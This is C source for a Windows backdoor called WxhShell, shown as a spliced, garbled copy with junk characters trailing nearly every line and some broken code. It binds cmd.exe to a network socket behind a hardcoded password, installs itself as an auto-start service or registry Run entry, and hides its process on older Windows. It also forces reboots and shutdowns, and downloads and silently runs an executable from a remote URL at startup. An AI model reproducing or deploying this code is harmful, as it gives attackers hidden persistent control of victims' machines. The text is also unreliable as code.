  // 关机 P?=}}DI  
  case 'd': { |l~#qeZ%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pSx}:u^am  
    if(Boot(SHUTDOWN)) |UQGZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fp+fZU  
    else { On;7  
    closesocket(wsh); 9]S;%:64  
    ExitThread(0); 8[)"+IFN  
    } 9*a"^  
    break; oC TSV  
    } LD;! s  
  // 获取shell 7U)w\A;~  
  case 's': { g s%[Cv  
    CmdShell(wsh); Mn*v&O:  
    closesocket(wsh); %8KbVjn  
    ExitThread(0); cS",Bw\  
    break; 5n=~l[O  
  } wWJM./y  
  // 退出 -+Ox/>k  
  case 'x': { +W|VCz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7MX5hZF"  
    CloseIt(wsh); :<6gP(  
    break; _nIt4l7  
    } kc[<5^b5  
  // 离开 x qj@T^y  
  case 'q': { E**Hu9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UotLJa  
    closesocket(wsh); T\TKgO=)  
    WSACleanup(); aslb^  
    exit(1); uF@DJX}>  
    break; DbN_(mC  
        } Vpxsg CS  
  } c*V/2" 5  
  } F,xFeq$/{  
239g pf]}  
  // 提示信息 d?[8VfAnh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )%I62<N,z  
} 1[(/{CClB  
  } \2 [  
qD(dAU  
  return; KhNE_. Z  
} {G-y7y+E  
iB*1Yy0DC  
// shell模块句柄 tIW~Ng  
int CmdShell(SOCKET sock) j[$+hh3:  
{ Mir( }E  
STARTUPINFO si; )Q~K\bJf  
ZeroMemory(&si,sizeof(si)); `G>BvS5h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EE~DU;p;]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AgJPtzs  
PROCESS_INFORMATION ProcessInfo; DLEHsbP{$  
char cmdline[]="cmd"; 5"7lWX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i)M JP*  
  return 0; `_.(qg   
} ej]>*n  
q[~+Zm  
// 自身启动模式 cx+%lco!  
int StartFromService(void) TxmKmZ u  
{ RxGZ#!j/  
typedef struct s,8g^aF4  
{ SuJ4)f;'0  
  DWORD ExitStatus; 'dd[= vzK  
  DWORD PebBaseAddress; *qw//W   
  DWORD AffinityMask; bP1]:^ x@W  
  DWORD BasePriority; ?_@Mg\Hc  
  ULONG UniqueProcessId; QjFE  
  ULONG InheritedFromUniqueProcessId; .10$n*  
}   PROCESS_BASIC_INFORMATION; 6hf6Z 3  
TE@bV9a  
PROCNTQSIP NtQueryInformationProcess; ds'7zxy/  
cD9axlJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I~>Ye<g#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +`~kt4W  
6F?U:N#<  
  HANDLE             hProcess; j7=x&)qbx  
  PROCESS_BASIC_INFORMATION pbi; x|A{|oFC  
6iJ\7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DZU} p  
  if(NULL == hInst ) return 0; @HP7$U"  
$McbVn)~f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @<=<?T> 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0`kaT ?>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q|nGY:98  
3/RNStd<L!  
  if (!NtQueryInformationProcess) return 0; ),U>AiF]  
$w ,^q+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j%Z%_{6Ds*  
  if(!hProcess) return 0; S!.H _=z%p  
<izn B8@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KOVR=``"/  
R}0!F 2  
  CloseHandle(hProcess); mI3 \n  
f VpE&F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {h}e 9  
if(hProcess==NULL) return 0; Q1u/QA:z7  
>WYradLUi  
HMODULE hMod; 4 JDk ()  
char procName[255]; =LojRY  
unsigned long cbNeeded; ]"-c?%L  
.#}`r`/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 94 GF8P  
LVxR *O  
  CloseHandle(hProcess); Et+WLQ6)  
7eQc14  
if(strstr(procName,"services")) return 1; // 以服务启动 y[I)hSD=  
6%fF6  
  return 0; // 注册表启动 tF~D!t@  
} o_on/{qz  
{_>}K  
// 主模块 .WT ar9e#  
int StartWxhshell(LPSTR lpCmdLine) 4{Af 3N  
{ qI5`:PH%n  
  SOCKET wsl; ^z}$ '<D9  
BOOL val=TRUE; &bT \4  
  int port=0; a X:,1^  
  struct sockaddr_in door; /nVGr]t_pj  
|lVoL.Z,0  
  if(wscfg.ws_autoins) Install(); _*LgpZ-2(  
W60C$*h  
port=atoi(lpCmdLine); +|TFxaVz  
RP~ hi%A  
if(port<=0) port=wscfg.ws_port; fHR^?\VVp  
Ig"Qw vR  
  WSADATA data; S[I-Z_S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %g{<EuK]p  
gP:H_nVh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xi81?F?[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XmX{e.<NZ  
  door.sin_family = AF_INET; |Y]4PT#EE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oVja$;>  
  door.sin_port = htons(port); y8CH=U[  
[X\~J &kD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O#B2XoZa+  
closesocket(wsl); OCN@P+L3q  
return 1; wJu,N(U  
} vC>8:3Z aq  
OVa38Aucr3  
  if(listen(wsl,2) == INVALID_SOCKET) { ZBl!7_[_  
closesocket(wsl); U@<]>.$  
return 1; s>1Wjz2M  
} (bo-JOOdY(  
  Wxhshell(wsl); CKr5L  
  WSACleanup(); Eu1t*>ZL  
<X ~P62<  
return 0; \O(~:KN  
.<kbYo:MV  
} P QA}_o  
_0EKE  
// 以NT服务方式启动 }>< v7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qpXsQim$~  
{ R.$1aqA}  
DWORD   status = 0; 8(|lP58~  
  DWORD   specificError = 0xfffffff; JJVdq-k+`  
PiZU _~A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +jN%w{^=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5tQZf'pHfd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5><KTya?=  
  serviceStatus.dwWin32ExitCode     = 0; RSK5 }2  
  serviceStatus.dwServiceSpecificExitCode = 0; $Z[W}7{pt#  
  serviceStatus.dwCheckPoint       = 0; )H| cri~D  
  serviceStatus.dwWaitHint       = 0; c-q=Ct  
8D6rShx =  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G"D=ozr  
  if (hServiceStatusHandle==0) return; WI}cXXUKm0  
caXSt2|'  
status = GetLastError(); =@y ?Np^A  
  if (status!=NO_ERROR) >N8*O3  
{ \zx$]|AQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |cIv&\ x  
    serviceStatus.dwCheckPoint       = 0; 8c^Hfjr0  
    serviceStatus.dwWaitHint       = 0; ^< wn  
    serviceStatus.dwWin32ExitCode     = status; $BUm,  
    serviceStatus.dwServiceSpecificExitCode = specificError; s{ dgUX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K0C3s  
    return; x_$`#m{hL5  
  } ZYo?b"6A  
b  >x03%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R8C#D B  
  serviceStatus.dwCheckPoint       = 0; ()o[(Hx+ph  
  serviceStatus.dwWaitHint       = 0; z6x`O-\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gOLN7K-)  
} jU0E=;1  
Q7@oAeNd  
// 处理NT服务事件,比如:启动、停止 fF]w[lLDv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) / lDei}  
{ @M&qH[tK-A  
switch(fdwControl) C q)Cwc[H  
{ ckdXla  
case SERVICE_CONTROL_STOP: y ]D[JX[  
  serviceStatus.dwWin32ExitCode = 0; Eu|O<9U\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S:8 WBY]M  
  serviceStatus.dwCheckPoint   = 0; +sFpIiJg  
  serviceStatus.dwWaitHint     = 0; =>htX(k}  
  { %:e.ES  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nN5fP<H2x  
  } o9]i {e>L  
  return; "< })X.t  
case SERVICE_CONTROL_PAUSE: O 8XHaVLg3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *~0U4kw+  
  break; 7Xf52\7n  
case SERVICE_CONTROL_CONTINUE: K n,td:(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 14z ?X%  
  break; 0S2/,[-u+  
case SERVICE_CONTROL_INTERROGATE: K7c[bhi_w  
  break; j06qr\Es  
}; 7(l>Ck3B#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); za!8:(  
} rt'pc\|O&  
&>P<Zw-  
// 标准应用程序主函数 UU*v5&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dCpDA a3  
{ i !;9A6D  
_"[Ls?tRX  
// 获取操作系统版本 6KDm#7J  
OsIsNt=GetOsVer(); G.3yuok9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q)Q1a;o  
|Pi! UZB  
  // 从命令行安装 xO&qo8*  
  if(strpbrk(lpCmdLine,"iI")) Install(); " 6ScVa5)  
.,F`*JVFq  
  // 下载执行文件 vEw8<<cgg  
if(wscfg.ws_downexe) { M@+Pq/f:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WS//0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6uIgyO*;k  
} DM,)nh6'  
kgh0  
if(!OsIsNt) { nrg$V>pD  
// 如果时win9x,隐藏进程并且设置为注册表启动 2p~}<B  
HideProc(); OJiwI)a9  
StartWxhshell(lpCmdLine); lokKjs  
} b3Q k;yz  
else K<q#2G0{  
  if(StartFromService()) 6bN8}\5  
  // 以服务方式启动 !<>*|a  
  StartServiceCtrlDispatcher(DispatchTable); +Jh1D_+!9  
else  h@PE:=  
  // 普通方式启动 Ot`znJU@  
  StartWxhshell(lpCmdLine); jN-!1O._G  
AQwai>eL  
return 0; |k^C-  
} 055C1RV%  
#I1q,fm  
>t{-_4Yv?  
JOH\K0=e  
=========================================== u|LDN*#DW  
+ZOKfX  
SY.ZEJcv  
<nTZs`$LwL  
zx5#eMD  
|DYgc$2pN  
" G*_qqb{B  
&0i$Y\g  
#include <stdio.h> Fw:_O2  
#include <string.h> e07u@_'^  
#include <windows.h> >gDeuye  
#include <winsock2.h> !jvl"+_FV  
#include <winsvc.h> 3CH> !QOA  
#include <urlmon.h> fN/;BT  
(&Rql7](8  
#pragma comment (lib, "Ws2_32.lib") SlG^ H  
#pragma comment (lib, "urlmon.lib") j WSgO(y  
}Ogb|8  
#define MAX_USER   100 // 最大客户端连接数 bh(} f.@ 9  
#define BUF_SOCK   200 // sock buffer ?) T@qn+  
#define KEY_BUFF   255 // 输入 buffer @]!9;?so  
6_:I~TTX  
#define REBOOT     0   // 重启 D|*yeS4>  
#define SHUTDOWN   1   // 关机 K|Eelhm  
D5!#c-Y-  
#define DEF_PORT   5000 // 监听端口 1_};!5$.  
1tLEKSo+  
#define REG_LEN     16   // 注册表键长度 _xmQGX!|  
#define SVC_LEN     80   // NT服务名长度 `NTtw;%Y  
uW [yNwM  
// 从dll定义API 3b|=V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?GlXxx=eV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Si@ 6'sw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TB-dV'w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XhA tf @n  
ik #Wlz`4  
// wxhshell配置信息 `5e{ec c7  
struct WSCFG { 3-&~jm~"  
  int ws_port;         // 监听端口 #uF`|M$u  
  char ws_passstr[REG_LEN]; // 口令 ~KRS0 ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no KK6fRtKv>q  
  char ws_regname[REG_LEN]; // 注册表键名 P*H0Hwn;  
  char ws_svcname[REG_LEN]; // 服务名 S}a]Bt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @+l=R|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J ?EDz,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8t. QFze?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I&m' a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vw4b@v-XQ3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _-3n'i8  
0n'v F&E8  
}; }%z%}V@(&  
<nb%$2r1  
// default Wxhshell configuration K8Q3~bMf  
struct WSCFG wscfg={DEF_PORT, P@f#DX )  
    "xuhuanlingzhe", "}wO<O6[  
    1, vK[%c A"  
    "Wxhshell", Ctn 4q'Q  
    "Wxhshell", z:$ibk4#h  
            "WxhShell Service", hO&_VCk  
    "Wrsky Windows CmdShell Service", TEh.?  
    "Please Input Your Password: ", #4lIna%VX  
  1, {z\K!=X/  
  "http://www.wrsky.com/wxhshell.exe", lZuH:AH  
  "Wxhshell.exe" -7]j[{?w  
    }; Y SB=n d_  
d^J)Mhju  
// 消息定义模块 Q4hY\\Hi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R :(-"GW'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q2s0g*z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cdh0b7tj n  
char *msg_ws_ext="\n\rExit."; r~2hTie  
char *msg_ws_end="\n\rQuit."; UfPHV%Wd  
char *msg_ws_boot="\n\rReboot..."; El@*Fo  
char *msg_ws_poff="\n\rShutdown..."; Gw\..O  
char *msg_ws_down="\n\rSave to "; A*wf: mW0c  
&^#u=w?^x  
char *msg_ws_err="\n\rErr!"; <e?Eva%t`  
char *msg_ws_ok="\n\rOK!"; 8Y.9%@  
$XTtDUP@  
char ExeFile[MAX_PATH]; jz! [#-G  
int nUser = 0; WubV?NX;EF  
HANDLE handles[MAX_USER]; KN[;z2i  
int OsIsNt; !yxqOT-  
~bC A8  
SERVICE_STATUS       serviceStatus; C l,vBjl h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R"9w VM;*c  
vy *-"=J  
// 函数声明 D%nd7 |  
int Install(void); gFKJbjT|  
int Uninstall(void); M:{Aq&.  
int DownloadFile(char *sURL, SOCKET wsh); S,nELV~!  
int Boot(int flag); )-emSV0zE  
void HideProc(void);  5QLK  
int GetOsVer(void); as!a!1  
int Wxhshell(SOCKET wsl); ($kw*H{Ah^  
void TalkWithClient(void *cs); \0d'y#Gp*  
int CmdShell(SOCKET sock); ,aLwOmO  
int StartFromService(void); W.?/p~  
int StartWxhshell(LPSTR lpCmdLine); E "}@SaB-  
: S3+UT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _1&Ar4:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9i}$245lB  
y:}qoT_.  
// 数据结构和表定义 TKv!wKI  
SERVICE_TABLE_ENTRY DispatchTable[] = a!E22k?((z  
{ N{S) b  
{wscfg.ws_svcname, NTServiceMain}, |:&6eDlR  
{NULL, NULL} n\l?+)S *  
}; &v0-$  
nAEyL+6U  
// 自我安装 M@{#yEP  
int Install(void) P|bow+4  
{ -]HZ?@  
  char svExeFile[MAX_PATH]; * l1*zaE  
  HKEY key; ;_)~h$1%=  
  strcpy(svExeFile,ExeFile); >*8V]{f9  
SXZ9+<\  
// 如果是win9x系统,修改注册表设为自启动 m]!hP^^  
if(!OsIsNt) { )/%5f{+}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P+}~6}wJE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ft6)n T/"&  
  RegCloseKey(key); kuy?n-1g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xF8n=Lc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cQyN@W  
  RegCloseKey(key); z'_Fg0kR{  
  return 0; 1wKXOy=v0  
    } ^]nLE]M  
  } 7>__ fQu  
} HDhISPg  
else { 9+^)?JUYll  
5 tQz!M  
// 如果是NT以上系统,安装为系统服务 ;_e9v,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JEp)8{.bW8  
if (schSCManager!=0) n jWe^  
{ o+A1-&qhN  
  SC_HANDLE schService = CreateService W&*&O,c  
  ( ?gl&q+mv  
  schSCManager, G/<zd)  
  wscfg.ws_svcname, #BUq;5  
  wscfg.ws_svcdisp, 7TMq#Pb  
  SERVICE_ALL_ACCESS, d"9tP& Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >8"Svt$  
  SERVICE_AUTO_START, &Mk!qE<:N  
  SERVICE_ERROR_NORMAL, _TOWqV^  
  svExeFile, *y?HaU  
  NULL, #`*uX6C  
  NULL, j#n ]q{s4  
  NULL, jU j\<aW  
  NULL, P3&s<mh  
  NULL ORs :S$Nt$  
  ); A _zCSRF,  
  if (schService!=0) Ig `q[o  
  { -[L\:'Gp5  
  CloseServiceHandle(schService); tF`L]1r>  
  CloseServiceHandle(schSCManager); F,wB6Cw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~R w1  
  strcat(svExeFile,wscfg.ws_svcname); rMDvnF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #ODP+>-IjB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T>& q8'lD  
  RegCloseKey(key); 2{rWAPHgz  
  return 0; $72eHdy/yl  
    } vPNbV  
  } My8d%GfM  
  CloseServiceHandle(schSCManager); l#KcmOz  
} )=[\YfK  
} T(D6'm:X  
@(sz"  
return 1; lmzHE8MUNu  
} Q"XDxa'7"  
gu(:'5cX  
// 自我卸载 w*VN =  
int Uninstall(void) _YF>Y=D-  
{ i-OD"5a`  
  HKEY key; ]!B0= XP  
!E 5FU *s  
if(!OsIsNt) { 4^L;]v,|7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Km{6L&  
  RegDeleteValue(key,wscfg.ws_regname); "/Qz?1>l+  
  RegCloseKey(key); M%S7cIX ]F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?'MkaG0g  
  RegDeleteValue(key,wscfg.ws_regname); [gmov)\c  
  RegCloseKey(key); #KJ# 1  
  return 0; 'v6@5t19j  
  } 2?t@<M]  
} ttsR`R1.k  
} lvke!~#  
else { q`c!!Lg  
2LtDS?)@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %} `` :  
if (schSCManager!=0) yW|J`\`^T  
{ eJ?oz^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lKf58 mB  
  if (schService!=0) w.?4}'DK  
  { vhfjZ  
  if(DeleteService(schService)!=0) { ]].~/kC^3k  
  CloseServiceHandle(schService); t`Z'TqP R  
  CloseServiceHandle(schSCManager); og}Ri!^  
  return 0; 'Cc~|gOgD  
  } >3uNh:|>/  
  CloseServiceHandle(schService); ,eyh%k*hz  
  } 8_('[89m  
  CloseServiceHandle(schSCManager); u9hd%}9Qd?  
} yJ $6vmQ  
} _re# b?  
4Hj)Av <O(  
return 1; c;VqEpsbl  
} 'Lrn<  
BPO5=]W 7  
// 从指定url下载文件 X0;u7g2Yz  
int DownloadFile(char *sURL, SOCKET wsh) =0ZRG p  
{ !?P8[K  
  HRESULT hr; Nm?^cR5r  
char seps[]= "/"; dR S:S_  
char *token; |4df)  
char *file; xb,d,(^]R  
char myURL[MAX_PATH]; QHR,p/p  
char myFILE[MAX_PATH]; d0:LJ'<Q  
!O_G%+>5W  
strcpy(myURL,sURL); U]cXE1c>F  
  token=strtok(myURL,seps); $tmdE )"&  
  while(token!=NULL) 7iP+!e}$.  
  { o}rG:rhIh  
    file=token; cRT'?w`}  
  token=strtok(NULL,seps); -5<[oBL;  
  } |R}=HsYey  
>w S'z]T9  
GetCurrentDirectory(MAX_PATH,myFILE); e(0OZ_w  
strcat(myFILE, "\\"); Ehx9-*]  
strcat(myFILE, file); Tv=lr6t8  
  send(wsh,myFILE,strlen(myFILE),0); (7Z+De?  
send(wsh,"...",3,0); `8!9Fp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h=#w< @  
  if(hr==S_OK) ` B)@  
return 0; _,J+b R+b  
else w2DC5ei'  
return 1; b#_RZ  
2ioHhcYdJU  
} A=N$5ZJ  
+RooU?Aq  
// 系统电源模块 7:jLZ!mgi  
int Boot(int flag) 7f>=-sv  
{ B>53+GyMV  
  HANDLE hToken; ok:uTeJI  
  TOKEN_PRIVILEGES tkp; 2&1mI>:F  
2aYBcPFQh#  
  if(OsIsNt) { ~lj[> |\Oj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?:"ABkL|+Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h&0zR#t  
    tkp.PrivilegeCount = 1; cC/h7o dY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PgkU~68`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ob$``31{s  
if(flag==REBOOT) { w(oK   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WNyW1?"  
  return 0;  !VGG2N8  
} IoDT  
else { r: K1PO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }+@9[Q L  
  return 0; )~U1sW&t  
} X1@DI_  
  } |}=eY?iXo  
  else { "_WN[jm  
if(flag==REBOOT) { yK*vn]}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y]h0c<NP  
  return 0; !..<_qfw  
} :K| H/kht  
else { 1VJ${\H]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5u!\c(TJ+  
  return 0; $.`o  
} ER"69zQg|2  
} ofy"SM  
CWdsOS=  
return 1; T fLqxioqZ  
} J"r?F0  
RjW wsC~B  
// win9x进程隐藏模块 Q %o@s3~O  
void HideProc(void) tsb[=W!Ar8  
{ 2*Qv6 :qK  
#mQ@4k9i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $+4DpqJ  
  if ( hKernel != NULL ) -UhpPw 6  
  { `zQuhD 8W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y1PR?c Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bzi"7%c  
    FreeLibrary(hKernel); "Rj PTRe:  
  } s=8H< 'l  
v) n-  
return; s$M(-"mg  
} '09|Y#F  
~gI%lORqN  
// 获取操作系统版本 NEq_!!/sF  
int GetOsVer(void) h^3gYL7O6  
{ dtTn]}J  
  OSVERSIONINFO winfo; 3TwjC:Yhv2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }* :3]  
  GetVersionEx(&winfo); j`_S%E%X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @A,8 >0+  
  return 1; sfXFh  
  else ZM<6yj"f  
  return 0; P $`1}  
} J^7m?mA  
OUBGbld  
// 客户端句柄模块 D3Q+K  
int Wxhshell(SOCKET wsl) &N} "4  
{ e9LX0=  
  SOCKET wsh; !Tnjha*  
  struct sockaddr_in client; }1#m+ (;  
  DWORD myID; Hv;xaT<}V  
u BEw YQB  
  while(nUser<MAX_USER) qDdO-fPev  
{ F- ,gj{s  
  int nSize=sizeof(client); khy'Y&\F;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NW\CEJV  
  if(wsh==INVALID_SOCKET) return 1; 5H3o?x   
Rta}*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /v!yI$xc  
if(handles[nUser]==0) *)K 5<}V  
  closesocket(wsh); Sz0PZtJ  
else _o~ pVBl/  
  nUser++; kt yplo#F  
  } i~u4v3r=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0%f}Q7*R  
u({^8: AYu  
  return 0; .<m]j;|6  
} aT0~C.vT  
2C S9v  
// 关闭 socket un "I  
void CloseIt(SOCKET wsh) LK'(OZ  
{ H{}&|;0  
closesocket(wsh); E*'YxI  
nUser--;  Zmu  
ExitThread(0); XCM!8x?K  
} Jm4uj &}3  
Y '/6T]a  
// 客户端请求句柄 \[G'cE  
void TalkWithClient(void *cs) JH?ohA  
{ !Rv ;~f/2  
5IU!BQU  
  SOCKET wsh=(SOCKET)cs; //@6w;P  
  char pwd[SVC_LEN]; 0+\725DJ  
  char cmd[KEY_BUFF]; gPMR,TU  
char chr[1]; 88?bUA3]  
int i,j; Z`-$b~0  
?1=.scmgDG  
  while (nUser < MAX_USER) { kQ+y9@=/g  
PZ]tl  
if(wscfg.ws_passstr) { 5_9`v@-4_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w{tA{{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A{_CU-,  
  //ZeroMemory(pwd,KEY_BUFF); -zK>{)Z=q  
      i=0; D.Ke  
  while(i<SVC_LEN) { ~n 'A1  
I0 t#{i  
  // 设置超时 HI5NWdfRl  
  fd_set FdRead; t'_EcYNS  
  struct timeval TimeOut; 2}^=NUM\NX  
  FD_ZERO(&FdRead); {6u)EJ  
  FD_SET(wsh,&FdRead); kff N0(MR  
  TimeOut.tv_sec=8; #S7oW@  
  TimeOut.tv_usec=0; >LPb>t5%p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fyvo;1a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hb3n- rO  
k+_>`Gre}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O*N:A[eW  
  pwd=chr[0]; ? 2}%Rb39  
  if(chr[0]==0xd || chr[0]==0xa) { S?v/diK ]J  
  pwd=0; )G48,. "  
  break; <)d%c%f'`  
  } "~Fg-{jM%  
  i++; INnd TF  
    } #Y= A#Yz,{  
S. MRL,  
  // 如果是非法用户,关闭 socket "kApGNB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8u*<GbKGI  
} z83v J*.  
a?gF;AYk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~gX1n9_n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uyX % &r  
?8 }pZ_j  
while(1) { aR2N,<Cp5  
x}2nn)fdZ  
  ZeroMemory(cmd,KEY_BUFF); SkDr4kds  
@!iS`u  
      // 自动支持客户端 telnet标准   [#KY.n  
  j=0; Jxl'!8t  
  while(j<KEY_BUFF) { WsbVO|C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hNc8uV{r=  
  cmd[j]=chr[0]; CVO_F=;  
  if(chr[0]==0xa || chr[0]==0xd) { xa`xHh{0  
  cmd[j]=0; jt oS{B,  
  break; [P}Bq6;p  
  } RxP~%oADw  
  j++; 4 QQt 0u0  
    } vU%o5y:  
bqn(5)%{  
  // 下载文件 :^(y~q?  
  if(strstr(cmd,"http://")) { bZ`#;D<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @,<jPR.  
  if(DownloadFile(cmd,wsh)) /3)\^Pof  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FH}?QebSR  
  else .]>Tj^1  
